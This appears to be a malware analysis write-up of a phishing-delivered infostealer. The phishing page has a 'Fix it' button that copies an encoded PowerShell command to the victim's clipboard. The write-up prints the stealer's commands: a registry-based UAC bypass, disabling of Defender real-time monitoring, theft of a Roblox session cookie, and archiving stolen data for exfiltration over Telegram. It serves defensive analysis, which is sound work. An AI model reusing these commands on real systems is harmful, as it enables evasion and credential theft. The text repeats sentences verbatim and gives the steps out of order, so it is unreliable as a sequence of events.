DXI Infostealer

A phishing mail was reported containing a suspicious link “https://drandrecastro.com[.]br”

When I inspected the mentioned page I found once the user clicks the “Fix it” it copies an encoded PowerShell command in the user's clipboard which the user will past in the PowerShell

Then we see it launches “cmd.exe” to modify registry to bypass UAC

reg add hkcu\Software\Classes\mssettings\shell\open\command ... /f

Following our analysis I found it started to drop “rar.exe” file and other Python libraries and dll under the Temp\_MEI61522 DIR ... used the dropped pyd files to achieve the injection purpose

used the dropped pyd files to achieve the injection purpose Then we see it launches “cmd.exe” to modify registry to bypass UAC to evade detection and elevate privilege

Following our analysis I found it started to drop “rar.exe” file and other Python libraries and dll under the Temp\_MEI61522 DIR ... used the dropped pyd files to achieve the injection purpose

The attacker read Eventlogs of the Defender probably to make sure it is working or he was detected wevtutil qe “Microsoft-Windows-Windows Defender/Operational” /f:text

cmd.exe ping localhost -n 3 > NUL && del /A H /F “C:\Users\admin\AppData\Local\Temp\Rar$EXa7672.37675\update.exe”

attrib +h +s “C:\Users\admin\AppData\Local\Temp\Rar$EXa7672.37675\update.exe” to hide and make the malware as a system file

reg add hkcu\Software\Classes\mssettings\shell\open\command ... /f

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\WINDOWS\system32\cmd.exe /c “tasklist /FO LIST” to list tasks

Then the PE file started collecting information as using (Tasklist, getmac, machine info and etc)

it was taking screenshots for all displaying screens and then save them in the same DIR

once the user clicks the “Fix it” it copies an encoded PowerShell command in the user's clipboard

the stealer zipped the collected data files and sent them over the Telegram API “C:\Users\admin\AppData\Local\Temp\_MEI3002\rar.exe a -r -hp”cyber” “C:\Users\admin\AppData\Local\Temp\gNPwC.zip” *

It naviagtes to website called “www.thaisbobetx[.]com” to download a ZIP file called “update-live.zip”

the stealer zipped the collected data files and sent them over the Telegram API

The PE file added itself to exclusions to evade disturbing or detection by MS defender ... Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true